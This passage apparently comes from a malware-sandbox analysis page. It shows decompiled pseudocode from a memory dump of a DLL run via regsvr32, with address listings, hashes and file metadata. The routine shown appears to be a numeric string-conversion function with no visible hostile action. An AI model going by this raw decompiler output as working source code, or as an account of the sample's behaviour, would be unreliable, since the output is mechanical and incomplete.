																_t154 = r9w | 0x00000001;
																_a80 = _t154;
																r9d = _a80;
																goto L75;
															}
															r8d = _a88;
															_t198 = _a84;
															r9d = _a80;
															while(1) {
																asm("inc ecx");
																if(__eflags < 0) {
																	break;
																}
																r8d = r8d + r8d;
																_t190 = _t198 >> 0x1f;
																r9d = r9d + r9d;
																_t198 = _t198 + _t198 | r9d >> 0x0000001f;
																r8d = r8d | _t190;
																_t204 = _t204 + 0xffff;
																_a84 = _t198;
																_a88 = r8d;
																__eflags = _t204;
																_a80 = r9d;
																if(__eflags > 0) {
																	continue;
																}
																goto L82;
															}
															__eflags = _t204;
															if(_t204 <= 0) {
																goto L82;
															}
															goto L74;
														}
														_t203 = _t203 + 1;
														asm("btr eax, 0x1f");
														__eflags = _t253[2];
														if(_t253[2] != 0) {
															goto L52;
														}
														__eflags = _t253[1];
														if(_t253[1] != 0) {
															goto L52;
														}
														__eflags =  *_t253;
														if( *_t253 != 0) {
															goto L52;
														}
														_t229 = _a64;
														_a104 = 0;
														_a100 = 0;
														_a96 = 0;
														goto L96;
													}
													_t203 = _t203 + 1;
													asm("btr eax, 0x1f");
													__eflags = _a104;
													if(_a104 != 0) {
														goto L47;
													}
													__eflags = _a100;
													if(_a100 != 0) {
														goto L47;
													}
													__eflags = _a96;
													if(_a96 != 0) {
														goto L47;
													}
													_t229 = _a64;
													_a106 = 0;
													goto L96;
												}
												_t229 = _a64;
												_a104 = 0;
												_a100 = 0;
												_a96 = 0;
											}
											L96:
											__eflags = r8d;
										} while (r8d != 0);
										_t202 = 0;
									}
									goto L99;
								}
							}
							do {
								_t247 = _t247 - 1;
								r10d = r10d + 0xffffffff;
								_t180 = _t180 + 1;
								__eflags =  *_t247;
							} while ( *_t247 == 0);
							goto L20;
						}
						_t178 = _a151 & 0x000000ff;
						__eflags = _t178 - 5;
						if(_t178 >= 5) {
							_t179 = _t178 + 1;
							__eflags = _t179;
							_a151 = _t179;
						}
						_t246 = _t246 - 1;
						r10d = 0x18;
						_t180 = _t180 + 1;
						goto L17;
					}
					if(_t201 != 0x2d) {
						_t240 = _t232;
						_t202 = 0;
						goto L9;
					}
					r9d = 7;
					r14d = __r9 - 8;
				}
				L1:
				_t201 =  *_t239 & 0x000000ff;
				_t239 =  &(_t239[1]);
				if(r9d <= 0xb) {
					_t214 = 0x10000000;
					goto __rcx;
				}
				__eflags = r9d - 0xa;
			}

0x1004b814
0x1004b814
0x1004b814
0x1004b814
0x1004b814
0x1004b814
0x1004b81c
0x1004b8f6
0x1004b8fa
0x00000000
0x1004b822
0x1004b825
0x1004b829
0x1004b84a
0x1004b410
0x00000000
0x00000000
0x1004b86d
0x1004b86d
0x1004b86f
0x1004b86f
0x1004b871
0x1004b875
0x1004be56
0x1004be59
0x1004be5b
0x1004be60
0x1004be60
0x1004be63
0x1004be63
0x1004be66
0x1004be66
0x1004be6b
0x1004be6b
0x1004be70
0x1004be77
0x1004be7b
0x1004be7f
0x1004becb
0x1004beda
0x1004beda
0x1004b87b
0x1004b87f
0x1004b95f
0x1004b962
0x1004be4f
0x1004be52
0x00000000
0x1004be52
0x1004b968
0x1004b968
0x1004b96c
0x1004b970
0x1004b991
0x1004b991
0x1004b996
0x1004b9a1
0x1004b9a6
0x1004b9a9
0x1004b9b5
0x1004b9ab
0x1004b9ab
0x1004b9b0
0x1004b9b0
0x1004b9ba
0x1004b9bd
0x1004b9c0
0x1004b9c2
0x1004b9c2
0x1004b9c2
0x1004b9ca
0x1004b9cd
0x1004b9cf
0x1004b9cf
0x1004b9cf
0x1004b9d7
0x1004b9de
0x1004be39
0x1004be3b
0x1004be3f
0x1004be45
0x1004be4a
0x00000000
0x1004b9e4
0x1004b9e4
0x1004b9eb
0x1004be2d
0x1004be30
0x1004be32
0x00000000
0x1004be32
0x1004b9f8
0x1004b9fc
0x1004b9ff
0x1004be16
0x1004be1a
0x1004be1f
0x1004be23
0x1004be28
0x00000000
0x1004be28
0x1004ba05
0x1004ba08
0x1004ba11
0x1004ba14
0x1004ba14
0x1004ba14
0x1004ba1d
0x1004ba27
0x1004ba2b
0x1004ba2e
0x1004ba33
0x1004be14
0x1004be14
0x1004ba39
0x1004ba39
0x1004ba40
0x1004ba43
0x1004ba47
0x1004ba4b
0x1004ba4e
0x1004ba53
0x1004ba58
0x00000000
0x00000000
0x1004ba60
0x1004ba64
0x1004ba6a
0x1004ba6e
0x1004ba73
0x1004ba73
0x1004ba78
0x1004ba7b
0x1004ba7f
0x1004ba7f
0x1004ba84
0x1004ba8c
0x1004ba90
0x1004ba90
0x1004ba93
0x1004ba93
0x1004ba97
0x1004ba9c
0x1004baa1
0x1004baa7
0x1004baac
0x1004bab3
0x1004bab7
0x1004babb
0x1004bac0
0x1004bac4
0x1004bac8
0x1004bacd
0x1004bad0
0x1004bdea
0x1004bdea
0x1004bded
0x1004bdf7
0x1004bdfb
0x1004bdff
0x1004be03
0x1004bad6
0x1004bad6
0x1004badb
0x00000000
0x00000000
0x1004bae1
0x1004bae6
0x00000000
0x00000000
0x1004baec
0x1004baf1
0x1004bb09
0x1004bb0c
0x1004bb39
0x1004bb39
0x1004bb3c
0x1004bb6f
0x1004bb6f
0x1004bb72
0x1004bb77
0x1004bb80
0x1004bb80
0x1004bb88
0x1004bb8b
0x1004bb8e
0x00000000
0x00000000
0x1004bb93
0x1004bb93
0x1004bb97
0x1004bb97
0x1004bb9c
0x1004bb9c
0x1004bba0
0x1004bba8
0x1004bbab
0x1004bbad
0x1004bbd2
0x1004bbd5
0x1004bbd9
0x1004bbdc
0x1004bbe3
0x1004bbe3
0x1004bbe9
0x1004bbe9
0x00000000
0x1004bbe9
0x1004bbde
0x1004bbe1
0x00000000
0x00000000
0x00000000
0x1004bbe1
0x1004bbb2
0x1004bbb5
0x1004bbb9
0x1004bbbc
0x1004bbc3
0x1004bbc3
0x1004bbc9
0x1004bbc9
0x00000000
0x1004bbc9
0x1004bbbe
0x1004bbc1
0x00000000
0x00000000
0x00000000
0x1004bbed
0x1004bbed
0x1004bbf0
0x1004bbf2
0x1004bbf2
0x1004bbf2
0x1004bbf6
0x1004bbf9
0x1004bbfd
0x1004bc01
0x1004bc01
0x1004bc05
0x1004bc05
0x1004bc09
0x1004bc0d
0x1004bc11
0x1004bc11
0x1004bc1a
0x1004bc1f
0x1004bc22
0x1004bcdd
0x1004bce2
0x1004bce6
0x1004bceb
0x1004bceb
0x1004bceb
0x1004bcf0
0x1004bc74
0x1004bc74
0x1004bc79
0x1004bc79
0x1004bc7d
0x1004bc93
0x1004bc93
0x1004bc97
0x1004bc9a
0x1004bd7d
0x1004bd7d
0x1004bd80
0x1004bd84
0x1004bca0
0x1004bca0
0x1004bca4
0x1004bca8
0x1004bcab
0x1004bd6e
0x1004bd72
0x1004bd77
0x1004bcb1
0x1004bcb1
0x1004bcb6
0x1004bcba
0x1004bcbe
0x1004bd57
0x1004bd5f
0x1004bd64
0x1004bcc4
0x1004bcc4
0x1004bcc8
0x1004bccf
0x1004bcd4
0x1004bcd4
0x1004bcbe
0x1004bcab
0x1004bd88
0x1004bd88
0x1004bd8d
0x1004bdc5
0x1004bdc9
0x1004bdce
0x1004bdd3
0x1004bdd8
0x1004bddd
0x1004bde2
0x1004bd8f
0x1004bd8f
0x1004bd94
0x1004bd99
0x1004bda3
0x1004bda9
0x1004bdad
0x1004bdb1
0x1004bdb5
0x1004bdb5
0x00000000
0x1004bd8d
0x1004bc7f
0x1004bc86
0x1004bc8d
0x00000000
0x00000000
0x00000000
0x1004bc8d
0x1004bcf8
0x1004bcfc
0x1004bcfc
0x1004bd00
0x1004bd00
0x1004bd05
0x1004bd07
0x1004bd07
0x1004bd07
0x1004bd10
0x1004bd1b
0x1004bd1e
0x1004bd21
0x1004bd23
0x1004bd23
0x1004bd27
0x1004bd27
0x1004bd2e
0x1004bd31
0x1004bd35
0x1004bd3a
0x00000000
0x00000000
0x1004bd44
0x1004bd48
0x1004bd4d
0x00000000
0x1004bd4d
0x1004bc28
0x1004bc2d
0x1004bc31
0x1004bc36
0x1004bc36
0x1004bc3b
0x00000000
0x00000000
0x1004bc42
0x1004bc4a
0x1004bc4d
0x1004bc50
0x1004bc52
0x1004bc55
0x1004bc5a
0x1004bc5e
0x1004bc63
0x1004bc66
0x1004bc6b
0x00000000
0x00000000
0x00000000
0x1004bc6d
0x1004bc6f
0x1004bc72
0x00000000
0x00000000
0x00000000
0x1004bc72
0x1004bb42
0x1004bb46
0x1004bb4a
0x1004bb4c
0x00000000
0x00000000
0x1004bb4e
0x1004bb52
0x00000000
0x00000000
0x1004bb54
0x1004bb57
0x00000000
0x00000000
0x1004bb59
0x1004bb5e
0x1004bb62
0x1004bb66
0x00000000
0x1004bb66
0x1004bb12
0x1004bb16
0x1004bb1a
0x1004bb1c
0x00000000
0x00000000
0x1004bb1e
0x1004bb22
0x00000000
0x00000000
0x1004bb24
0x1004bb28
0x00000000
0x00000000
0x1004bb2a
0x1004bb2f
0x00000000
0x1004bb2f
0x1004baf3
0x1004baf8
0x1004bafc
0x1004bb00
0x1004bb00
0x1004be07
0x1004be07
0x1004be07
0x1004be10
0x1004be10
0x00000000
0x1004ba33
0x1004b9de
0x1004b980
0x1004b980
0x1004b984
0x1004b988
0x1004b98b
0x1004b98b
0x00000000
0x1004b980
0x1004b885
0x1004b88d
0x1004b88f
0x1004b891
0x1004b891
0x1004b893
0x1004b893
0x1004b89a
0x1004b89e
0x1004b8a4
0x00000000
0x1004b8a4
0x1004b82e
0x1004b8ec
0x1004b8ef
0x00000000
0x1004b8ef
0x1004b834
0x1004b841
0x1004b841
0x1004b410
0x1004b410
0x1004b414
0x1004b41c
0x1004b42c
0x1004b436
0x1004b436
0x1004b863

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e5674a572ba858dd7169e3f3cc740acd0e20b2761abff5b1cd83d37043badbe
Instruction ID: e1960c419f605adb3c40274270dc72dcfcf04c40596e93f8b2de09d425855107
Opcode Fuzzy Hash: 3e5674a572ba858dd7169e3f3cc740acd0e20b2761abff5b1cd83d37043badbe
Instruction Fuzzy Hash: 7C51E373628BD5C6D761CF2AE04079AB7A1F391780FA04126EB8983A58DB79D845CF08

Uniqueness

Uniqueness Score: -1.00%

Function 1004B7DC Relevance: .2, Instructions: 157
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E1004B7DC(void* __ebx, signed int __ebp, void* __rdx, void* __r8, void* __r11, long long* __r13, signed int _a48, signed int _a52, signed int _a56, long long _a64, signed int* _a72, unsigned int _a80, signed short _a82, signed int _a84, signed int _a86, signed int _a88, signed int _a90, signed int _a96, signed int _a98, signed int _a100, signed int _a102, unsigned int _a104, signed int _a106, unsigned int _a112, signed int _a114, char _a128, signed int _a151, signed int _a160, void* _a184, void* _a192, void* _a200, void* _a208, void* _a216, void* _a224, void* _a232, void* _a240, intOrPtr _a288, intOrPtr _a296) {
				unsigned int _t137;
				signed int _t138;
				signed short _t148;
				signed short _t149;
				signed short _t153;
				signed short _t154;
				signed int _t155;
				signed int _t159;
				signed int _t161;
				signed int _t175;
				signed int _t176;
				signed int _t177;
				signed char _t178;
				void* _t179;
				signed int _t180;
				signed int _t181;
				signed short _t182;
				signed short _t183;
				signed int _t185;
				signed int _t189;
				void* _t191;
				signed int _t192;
				signed short _t196;
				signed int _t197;
				signed int _t201;
				void* _t202;
				signed int _t203;
				signed int _t206;
				signed int _t207;
				void* _t215;
				signed long long _t221;
				void* _t222;
				void* _t224;
				long long _t226;
				signed int* _t227;
				long long _t229;
				void* _t231;
				signed long long _t234;
				long long _t237;
				void* _t239;
				signed int* _t240;
				void* _t241;
				signed int _t242;
				void* _t243;
				char* _t244;
				signed short* _t245;
				long long* _t247;
				signed int* _t250;

				_t247 = __r13;
				_t243 = __r11;
				_t236 = __r8;
				_t224 = __rdx;
				_t207 = __ebp;
				_t179 = __ebx;
				if(__rdx - 0x31 > 8) {
					__eflags = _t191 - 0x30;
					if(_t191 != 0x30) {
						_t237 = _t229;
						_t201 = 0;
						goto L8;
					}
					r9d = 8;
				} else {
					r9d = 9;
					_t236 = __r8 - 1;
					do {
						goto L1;
					} while (r9d != 0xa);
					_t201 = 0;
					__eflags = 0;
					L8:
					__eflags = _t207;
					 *_t247 = _t237;
					if(_t207 == 0) {
						r8d = _t201;
						_t192 = _t201;
						_t201 = 4;
						L102:
						_t181 = 0;
						_t137 = 0;
						__eflags = 0;
						L103:
						_t240 = _a72;
						_t138 = _t137 | _a52;
						__eflags = _t138;
						_t240[2] = _t138;
						 *_t240 = _t181;
						_t240[0] = _t192;
						_t240[1] = r8d;
						__eflags = _a160 ^ _t234;
						return E1002FF40(_t181, _a160 ^ _t234);
					}
					__eflags = r10d - 0x18;
					if(r10d <= 0x18) {
						__eflags = r10d;
						if(r10d == 0) {
							r8d = _t201;
							_t192 = _t201;
							goto L102;
						}
						L15:
						_t244 = _t243 - 1;
						__eflags =  *_t244;
						if( *_t244 != 0) {
							L18:
							_t10 =  &_a96; // 0x61
							_t11 =  &_a128; // 0x81
							E1004EED0(r10d, _t215, _t11, _t224, _t229, _t231, _t10, _t239, _t241, _t244);
							__eflags = r14d;
							if(r14d >= 0) {
								r8d = _a48;
							} else {
								r8d = _a48;
								r8d =  ~r8d;
							}
							r8d = r8d + _t179;
							__eflags = r12d;
							if(r12d == 0) {
								r8d = r8d + _a288;
								__eflags = r8d;
							}
							__eflags = r15d;
							if(r15d == 0) {
								r8d = r8d - _a296;
								__eflags = r8d;
							}
							__eflags = r8d - 0x1450;
							if(r8d > 0x1450) {
								_t192 = _t201;
								_t137 = 0x7fff;
								r8d = 0x80000000;
								_t201 = 2;
								_t181 = 0;
								goto L103;
							} else {
								__eflags = r8d - 0xffffebb0;
								if(r8d < 0xffffebb0) {
									r8d = _t201;
									_t192 = _t201;
									_t201 = 1;
									goto L102;
								}
								_t226 = 0x100b3270;
								__eflags = r8d;
								if(r8d == 0) {
									L97:
									_t181 = _a96 & 0x0000ffff;
									_t192 = _a98;
									r8d = _a102;
									_t137 = _a104 >> 0x10;
									goto L103;
								}
								__eflags = r8d;
								if(r8d < 0) {
									r8d =  ~r8d;
									_t226 = 0x100b33d0;
									__eflags = 0x100b3430;
								}
								__eflags = _a56;
								_t144 =  ==  ? 0 : _a96 & 0x0000ffff;
								__eflags = r8d;
								_a96 =  ==  ? 0 : _a96 & 0x0000ffff;
								if(r8d == 0) {
									_t201 = 0;
									__eflags = 0;
								} else {
									r9d = 0xffff8000;
									do {
										_t226 = _t226 + 0x54;
										r8d = r8d >> 3;
										__eflags = r8d & 0x00000007;
										_a48 = r8d;
										_a64 = _t226;
										if((r8d & 0x00000007) == 0) {
											goto L94;
										}
										_t221 = _t211 + _t211 * 2;
										__eflags =  *((short*)(_t226 + _t221 * 4)) - 0x8000;
										_t250 = _t226 + _t221 * 4;
										if( *((short*)(_t226 + _t221 * 4)) >= 0x8000) {
											_t27 =  &_a112; // 0x71
											_t221 = _t27;
											 *_t221 =  *_t250;
											_t175 = _t250[2];
											_t29 =  &_a112; // 0x71
											_t250 = _t29;
											 *(_t221 + 8) = _t175;
											_t211 = _a112 >> 0x10;
											_t176 = _t175 - 1;
											__eflags = _t176;
											_a114 = _t176;
										}
										_t182 = _t250[2] & 0x0000ffff;
										_t148 = _a106 & 0x0000ffff;
										r15d = 0;
										_t183 = _t182 & 0x00007fff;
										_a80 = 0;
										_t149 = _t148 & 0x00007fff;
										_a84 = 0;
										_t196 = (_t182 & 0x0000ffff ^ _t148) & 0x00008000;
										__eflags = _t149 - 0x7fff;
										_a88 = 0;
										_a56 = _t196;
										_t202 = _t211 + _t221;
										if(_t149 >= 0x7fff) {
											L93:
											__eflags = _t196;
											_t226 = _a64;
											_t151 =  !=  ? r9d : 0x7fff8000;
											_a100 = 0;
											_a96 = 0;
											_a104 =  !=  ? r9d : 0x7fff8000;
										} else {
											__eflags = _t183 - 0x7fff;
											if(_t183 >= 0x7fff) {
												goto L93;
											}
											__eflags = _t202 - 0xbffd;
											if(_t202 > 0xbffd) {
												goto L93;
											}
											__eflags = _t202 - 0x3fbf;
											if(_t202 > 0x3fbf) {
												__eflags = _t149;
												if(_t149 != 0) {
													L45:
													__eflags = _t183;
													if(_t183 != 0) {
														L50:
														r13d = 0;
														_t227 =  &_a84;
														r12d = 5;
														do {
															__eflags = r12d;
															_t180 = r12d;
															_t222 = _t247 + _t247;
															if(r12d <= 0) {
																goto L65;
															}
															_t57 =  &(_t250[2]); // 0x9
															_t242 = _t57;
															_t59 = _t222 + 0x60; // 0x65
															_t245 = _t234 + _t59;
															_t206 = r13d & 0x00000001;
															__eflags = _t206;
															do {
																_t185 = ( *_t245 & 0x0000ffff) * ( *_t242 & 0x0000ffff);
																__eflags = _t206;
																if(_t206 == 0) {
																	r8d = 0;
																	r9d = _t211 + _t222;
																	__eflags = r9d -  *(_t227 - 4);
																	if(r9d <  *(_t227 - 4)) {
																		L60:
																		r8d = 1;
																		L61:
																		 *(_t227 - 4) = r9d;
																		goto L62;
																	}
																	__eflags = r9d - _t185;
																	if(r9d >= _t185) {
																		goto L61;
																	}
																	goto L60;
																}
																r8d = 0;
																r9d = _t211 + _t222;
																__eflags = r9d -  *(_t227 - 4);
																if(r9d <  *(_t227 - 4)) {
																	L56:
																	r8d = 1;
																	L57:
																	 *(_t227 - 4) = r9d;
																	goto L62;
																}
																__eflags = r9d - _t185;
																if(r9d >= _t185) {
																	goto L57;
																}
																goto L56;
																L62:
																__eflags = r8d;
																if(r8d != 0) {
																	 *_t227 =  *_t227 + 1;
																	__eflags =  *_t227;
																}
																_t180 = _t180 - 1;
																_t245 =  &(_t245[1]);
																_t242 = _t242 - 2;
																__eflags = _t180;
															} while (_t180 > 0);
															L65:
															r12d = r12d - 1;
															_t227 =  &(_t227[0]);
															r13d = r13d + 1;
															__eflags = r12d;
														} while (r12d > 0);
														_t203 = _t202 + 0xc002;
														__eflags = _t203;
														if(__eflags <= 0) {
															r8d = _a88;
															_t197 = _a84;
															r9d = _a80;
															L80:
															_t203 = _t203 + 0xffff;
															__eflags = _t203;
															if(_t203 >= 0) {
																L72:
																_t153 = _a80 & 0x0000ffff;
																L73:
																__eflags = _t153 - 0x8000;
																if(_t153 > 0x8000) {
																	L75:
																	_t154 = _a82;
																	__eflags = _t154 - 0xffffffff;
																	if(_t154 != 0xffffffff) {
																		_t155 = _t154 + 1;
																		__eflags = _t155;
																		_a82 = _t155;
																		_t197 = _a84;
																	} else {
																		_t159 = _a86;
																		_a82 = 0;
																		__eflags = _t159 - 0xffffffff;
																		if(_t159 != 0xffffffff) {
																			_a86 = _t159 + 1;
																			r8d = _a88;
																			_t197 = _a84;
																		} else {
																			_t161 = _a90 & 0x0000ffff;
																			_a86 = 0;
																			__eflags = _t161 - 0xffff;
																			if(_t161 != 0xffff) {
																				_t197 = _a84;
																				_a90 = _t161 + 1;
																				r8d = _a88;
																			} else {
																				_t197 = _a84;
																				_a90 = 0x8000;
																				r8d = _a88;
																				_t203 = _t203 + 1;
																			}
																		}
																	}
																	L90:
																	__eflags = _t203 - 0x7fff;
																	if(_t203 < 0x7fff) {
																		_a98 = _t197;
																		_t226 = _a64;
																		_a102 = r8d;
																		r8d = _a48;
																		_a96 = _a82 & 0x0000ffff;
																		_a106 = _t203 | _a56;
																		r9d = 0xffff8000;
																	} else {
																		__eflags = _a56;
																		_t226 = _a64;
																		r8d = _a48;
																		r9d = 0xffff8000;
																		_a100 = 0;
																		_t158 =  !=  ? r9d : 0x7fff8000;
																		_a96 = 0;
																		_a104 =  !=  ? r9d : 0x7fff8000;
																	}
																	goto L94;
																}
																r9d = r9d & 0x0001ffff;
																__eflags = r9d - 0x18000;
																if(r9d != 0x18000) {
																	goto L90;
																}
																goto L75;
															}
															r10d =  ~(_t203 & 0x0000ffff) & 0x0000ffff;
															_t203 = _t203 + r10w;
															__eflags = _t203;
															do {
																__eflags = _a80 & 0x00000001;
																if((_a80 & 0x00000001) != 0) {
																	r15d = r15d + 1;
																	__eflags = r15d;
																}
																r9d = r9d >> 1;
																r9d = r9d | _t197 << 0x0000001f;
																r8d = r8d >> 1;
																_t197 = _t197 >> 0x00000001 | r8d << 0x0000001f;
																_t242 = _t242 - 1;
																__eflags = _t242;
																_a80 = r9d;
															} while (_t242 != 0);
															__eflags = r15d;
															_a84 = _t197;
															_a88 = r8d;
															if(r15d == 0) {
																goto L72;
															}
															_t153 = r9w | 0x00000001;
															_a80 = _t153;
															r9d = _a80;
															goto L73;
														}
														r8d = _a88;
														_t197 = _a84;
														r9d = _a80;
														while(1) {
															asm("inc ecx");
															if(__eflags < 0) {
																break;
															}
															r8d = r8d + r8d;
															_t189 = _t197 >> 0x1f;
															r9d = r9d + r9d;
															_t197 = _t197 + _t197 | r9d >> 0x0000001f;
															r8d = r8d | _t189;
															_t203 = _t203 + 0xffff;
															_a84 = _t197;
															_a88 = r8d;
															__eflags = _t203;
															_a80 = r9d;
															if(__eflags > 0) {
																continue;
															}
															goto L80;
														}
														__eflags = _t203;
														if(_t203 <= 0) {
															goto L80;
														}
														goto L72;
													}
													_t202 = _t202 + 1;
													asm("btr eax, 0x1f");
													__eflags = _t250[2];
													if(_t250[2] != 0) {
														goto L50;
													}
													__eflags = _t250[1];
													if(_t250[1] != 0) {
														goto L50;
													}
													__eflags =  *_t250;
													if( *_t250 != 0) {
														goto L50;
													}
													_t226 = _a64;
													_a104 = 0;
													_a100 = 0;
													_a96 = 0;
													goto L94;
												}
												_t202 = _t202 + 1;
												asm("btr eax, 0x1f");
												__eflags = _a104;
												if(_a104 != 0) {
													goto L45;
												}
												__eflags = _a100;
												if(_a100 != 0) {
													goto L45;
												}
												__eflags = _a96;
												if(_a96 != 0) {
													goto L45;
												}
												_t226 = _a64;
												_a106 = 0;
												goto L94;
											}
											_t226 = _a64;
											_a104 = 0;
											_a100 = 0;
											_a96 = 0;
										}
										L94:
										__eflags = r8d;
									} while (r8d != 0);
									_t201 = 0;
								}
								goto L97;
							}
						}
						do {
							_t244 = _t244 - 1;
							r10d = r10d + 0xffffffff;
							_t179 = _t179 + 1;
							__eflags =  *_t244;
						} while ( *_t244 == 0);
						goto L18;
					}
					_t177 = _a151 & 0x000000ff;
					__eflags = _t177 - 5;
					if(_t177 >= 5) {
						_t178 = _t177 + 1;
						__eflags = _t178;
						_a151 = _t178;
					}
					_t243 = _t243 - 1;
					r10d = 0x18;
					_t179 = _t179 + 1;
					goto L15;
				}
				L1:
				_t236 = _t236 + 1;
				if(r9d <= 0xb) {
					_t211 = 0x10000000;
					goto __rcx;
				}
				__eflags = r9d - 0xa;
			}

0x1004b7dc
0x1004b7dc
0x1004b7dc
0x1004b7dc
0x1004b7dc
0x1004b7dc
0x1004b7e1
0x1004b7f9
0x1004b7fc
0x1004b8e5
0x1004b8e8
0x00000000
0x1004b8e8
0x1004b802
0x1004b7e3
0x1004b7e3
0x1004b7e9
0x1004b410
0x00000000
0x00000000
0x1004b86d
0x1004b86d
0x1004b86f
0x1004b86f
0x1004b871
0x1004b875
0x1004be56
0x1004be59
0x1004be5b
0x1004be60
0x1004be60
0x1004be63
0x1004be63
0x1004be66
0x1004be66
0x1004be6b
0x1004be6b
0x1004be70
0x1004be77
0x1004be7b
0x1004be7f
0x1004becb
0x1004beda
0x1004beda
0x1004b87b
0x1004b87f
0x1004b95f
0x1004b962
0x1004be4f
0x1004be52
0x00000000
0x1004be52
0x1004b968
0x1004b968
0x1004b96c
0x1004b970
0x1004b991
0x1004b991
0x1004b996
0x1004b9a1
0x1004b9a6
0x1004b9a9
0x1004b9b5
0x1004b9ab
0x1004b9ab
0x1004b9b0
0x1004b9b0
0x1004b9ba
0x1004b9bd
0x1004b9c0
0x1004b9c2
0x1004b9c2
0x1004b9c2
0x1004b9ca
0x1004b9cd
0x1004b9cf
0x1004b9cf
0x1004b9cf
0x1004b9d7
0x1004b9de
0x1004be39
0x1004be3b
0x1004be3f
0x1004be45
0x1004be4a
0x00000000
0x1004b9e4
0x1004b9e4
0x1004b9eb
0x1004be2d
0x1004be30
0x1004be32
0x00000000
0x1004be32
0x1004b9f8
0x1004b9fc
0x1004b9ff
0x1004be16
0x1004be1a
0x1004be1f
0x1004be23
0x1004be28
0x00000000
0x1004be28
0x1004ba05
0x1004ba08
0x1004ba11
0x1004ba14
0x1004ba14
0x1004ba14
0x1004ba1d
0x1004ba27
0x1004ba2b
0x1004ba2e
0x1004ba33
0x1004be14
0x1004be14
0x1004ba39
0x1004ba39
0x1004ba40
0x1004ba43
0x1004ba47
0x1004ba4b
0x1004ba4e
0x1004ba53
0x1004ba58
0x00000000
0x00000000
0x1004ba60
0x1004ba64
0x1004ba6a
0x1004ba6e
0x1004ba73
0x1004ba73
0x1004ba78
0x1004ba7b
0x1004ba7f
0x1004ba7f
0x1004ba84
0x1004ba8c
0x1004ba90
0x1004ba90
0x1004ba93
0x1004ba93
0x1004ba97
0x1004ba9c
0x1004baa1
0x1004baa7
0x1004baac
0x1004bab3
0x1004bab7
0x1004babb
0x1004bac0
0x1004bac4
0x1004bac8
0x1004bacd
0x1004bad0
0x1004bdea
0x1004bdea
0x1004bded
0x1004bdf7
0x1004bdfb
0x1004bdff
0x1004be03
0x1004bad6
0x1004bad6
0x1004badb
0x00000000
0x00000000
0x1004bae1
0x1004bae6
0x00000000
0x00000000
0x1004baec
0x1004baf1
0x1004bb09
0x1004bb0c
0x1004bb39
0x1004bb39
0x1004bb3c
0x1004bb6f
0x1004bb6f
0x1004bb72
0x1004bb77
0x1004bb80
0x1004bb80
0x1004bb88
0x1004bb8b
0x1004bb8e
0x00000000
0x00000000
0x1004bb93
0x1004bb93
0x1004bb97
0x1004bb97
0x1004bb9c
0x1004bb9c
0x1004bba0
0x1004bba8
0x1004bbab
0x1004bbad
0x1004bbd2
0x1004bbd5
0x1004bbd9
0x1004bbdc
0x1004bbe3
0x1004bbe3
0x1004bbe9
0x1004bbe9
0x00000000
0x1004bbe9
0x1004bbde
0x1004bbe1
0x00000000
0x00000000
0x00000000
0x1004bbe1
0x1004bbb2
0x1004bbb5
0x1004bbb9
0x1004bbbc
0x1004bbc3
0x1004bbc3
0x1004bbc9
0x1004bbc9
0x00000000
0x1004bbc9
0x1004bbbe
0x1004bbc1
0x00000000
0x00000000
0x00000000
0x1004bbed
0x1004bbed
0x1004bbf0
0x1004bbf2
0x1004bbf2
0x1004bbf2
0x1004bbf6
0x1004bbf9
0x1004bbfd
0x1004bc01
0x1004bc01
0x1004bc05
0x1004bc05
0x1004bc09
0x1004bc0d
0x1004bc11
0x1004bc11
0x1004bc1a
0x1004bc1f
0x1004bc22
0x1004bcdd
0x1004bce2
0x1004bce6
0x1004bceb
0x1004bceb
0x1004bceb
0x1004bcf0
0x1004bc74
0x1004bc74
0x1004bc79
0x1004bc79
0x1004bc7d
0x1004bc93
0x1004bc93
0x1004bc97
0x1004bc9a
0x1004bd7d
0x1004bd7d
0x1004bd80
0x1004bd84
0x1004bca0
0x1004bca0
0x1004bca4
0x1004bca8
0x1004bcab
0x1004bd6e
0x1004bd72
0x1004bd77
0x1004bcb1
0x1004bcb1
0x1004bcb6
0x1004bcba
0x1004bcbe
0x1004bd57
0x1004bd5f
0x1004bd64
0x1004bcc4
0x1004bcc4
0x1004bcc8
0x1004bccf
0x1004bcd4
0x1004bcd4
0x1004bcbe
0x1004bcab
0x1004bd88
0x1004bd88
0x1004bd8d
0x1004bdc5
0x1004bdc9
0x1004bdce
0x1004bdd3
0x1004bdd8
0x1004bddd
0x1004bde2
0x1004bd8f
0x1004bd8f
0x1004bd94
0x1004bd99
0x1004bda3
0x1004bda9
0x1004bdad
0x1004bdb1
0x1004bdb5
0x1004bdb5
0x00000000
0x1004bd8d
0x1004bc7f
0x1004bc86
0x1004bc8d
0x00000000
0x00000000
0x00000000
0x1004bc8d
0x1004bcf8
0x1004bcfc
0x1004bcfc
0x1004bd00
0x1004bd00
0x1004bd05
0x1004bd07
0x1004bd07
0x1004bd07
0x1004bd10
0x1004bd1b
0x1004bd1e
0x1004bd21
0x1004bd23
0x1004bd23
0x1004bd27
0x1004bd27
0x1004bd2e
0x1004bd31
0x1004bd35
0x1004bd3a
0x00000000
0x00000000
0x1004bd44
0x1004bd48
0x1004bd4d
0x00000000
0x1004bd4d
0x1004bc28
0x1004bc2d
0x1004bc31
0x1004bc36
0x1004bc36
0x1004bc3b
0x00000000
0x00000000
0x1004bc42
0x1004bc4a
0x1004bc4d
0x1004bc50
0x1004bc52
0x1004bc55
0x1004bc5a
0x1004bc5e
0x1004bc63
0x1004bc66
0x1004bc6b
0x00000000
0x00000000
0x00000000
0x1004bc6d
0x1004bc6f
0x1004bc72
0x00000000
0x00000000
0x00000000
0x1004bc72
0x1004bb42
0x1004bb46
0x1004bb4a
0x1004bb4c
0x00000000
0x00000000
0x1004bb4e
0x1004bb52
0x00000000
0x00000000
0x1004bb54
0x1004bb57
0x00000000
0x00000000
0x1004bb59
0x1004bb5e
0x1004bb62
0x1004bb66
0x00000000
0x1004bb66
